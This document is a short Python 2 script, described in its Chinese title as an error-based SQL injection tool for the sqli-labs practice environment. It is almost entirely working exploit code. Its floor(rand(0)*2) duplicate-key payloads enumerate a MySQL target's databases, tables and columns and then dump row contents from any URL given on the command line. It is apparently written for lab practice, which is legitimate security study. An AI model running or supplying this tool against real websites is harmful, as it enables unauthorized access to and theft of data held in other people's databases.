python 写的sqli_lab显错式注入小代码

#!/usr/bin/env python
#coding=utf-8

import sys
import requests
import re
import binascii
#sys.argv[1]
# --dbs url
# --tables -D database url
# --columns -T tablename -D database url
# --dump -C columnname -T tablename -D database url

def http_get(url):
    #proxies = {'http': 'http://127.0.0.1:8080'}
    #return requests.get(dbs_num_url, proxies=proxies)
    #return requests.get(url, proxies=proxies)
    return requests.get(url)
def getAllDatabases(url):
    dbs_num_url = url + "'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e7e3a7e7e, count(distinct+table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ "
    resp = http_get(dbs_num_url)
    html = resp.content
    #print html
    # ~~:~~4~~:~~
    dbs_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
    print "数据库数量: %d" % dbs_num
    dbs = []
    print "数据库名: "
    for index in xrange(0,dbs_num):
        db_name_url = url + "'+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % index
        html = http_get(db_name_url).content
        db_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
        dbs.append(db_name)
        print "\t%s" % db_name

def getAllTablesByDb(url, db_name):
    db_name_hex = "0x" + binascii.b2a_hex(db_name)
    tables_num_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, count(table_name), 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % db_name_hex
    html = http_get(tables_num_url).content
    tables_num = int(re.search(r'~~:~~(\d*?)~~:~~', html).group(1))
    print "%s 库中，表的数量: %d" % (db_name, tables_num)
    print "表名: "
    for index in xrange(0,tables_num):
        tables_name_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e, table_name, 0x7e7e3a7e7e) from information_schema.tables where table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex, index)
        html = http_get(tables_name_url).content
        table_name = re.search(r'~~:~~(.*?)~~:~~', html).group(1)
        print "\t%s" % table_name
# +and(select 1 from(select count(*),concat((select (select ( select count(column_name) from information_schema.columns where table_name=0x656d61696c73 and table_schema=0x7365637572697479
# )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

def getAllColumnsByTable(url,db_name,table_name):
    db_name_hex = "0x" + binascii.b2a_hex(db_name)
    table_name_hex = "0x" + binascii.b2a_hex(table_name)
    columns_num_url = url + "'+and(select 1 from (select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_schema=%s and table_name=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex,table_name_hex)
    html = http_get(columns_num_url).content
    cloumns_num = int(re.search(r'~~:~~(\d*?)~~:~~',html).group(1))
    print "%s 库中，%s 表中字段的数量：%d" % (db_name,table_name,cloumns_num)
    print "字段名:"
    for index in xrange(0,cloumns_num):
        columns_url = url + "'+and(select 1 from (select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_schema=%s and table_name=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+" % (db_name_hex,table_name_hex,index)
        html = http_get(columns_url).content
        columns_name = re.search(r'~~:~~(.*?)~~:~~',html).group(1)
        print "\t%s" % columns_name 
        #print index 
def getAllContent(url,db_name,table_name,column_name):
    db_name_hex = "0x" + binascii.b2a_hex(db_name)
    table_name_hex = "0x" + binascii.b2a_hex(table_name)
    column_name_hex = "0x" + binascii.b2a_hex(column_name)
    content_num_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(*),0x7e7e3a7e7e) from %s.%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+" % (db_name,table_name)
    html = http_get(content_num_url).content
    #print html
    content_num = int(re.search(r'~~:~~(\d*?)~~:~~',html).group(1))
    #print content_num
    print"%s 库中，%s表中的,字段名为 %s,中共有%d行数据" % (db_name,table_name,column_name,content_num)
    print "内容为:"
    for index in xrange(0,content_num):
        content_url = url + "'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,%s,0x7e7e3a7e7e) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ " % (column_name,db_name,table_name,index)
        html = http_get(content_url).content
        content_name = re.search(r'~~:~~(.*?)~~:~~',html).group(1)
        print "\t %s" % content_name

# --dump -C columnname -T tablename -D database url
def main():

    # for i in range(1,7):
    # print sys.argv[i],i
    if sys.argv[1] == '--dbs':
        getAllDatabases(sys.argv[2])
    elif sys.argv[1] == '--tables':
        getAllTablesByDb(sys.argv[4], sys.argv[3])
    elif sys.argv[1] == '--columns':
        getAllColumnsByTable(sys.argv[6],sys.argv[5],sys.argv[3])
    elif sys.argv[1] == '--dump':
        getAllContent(sys.argv[8],sys.argv[7],sys.argv[5],sys.argv[3])
    else:
        print "我不懂你的参数!"

if __name__ == '__main__':
    main()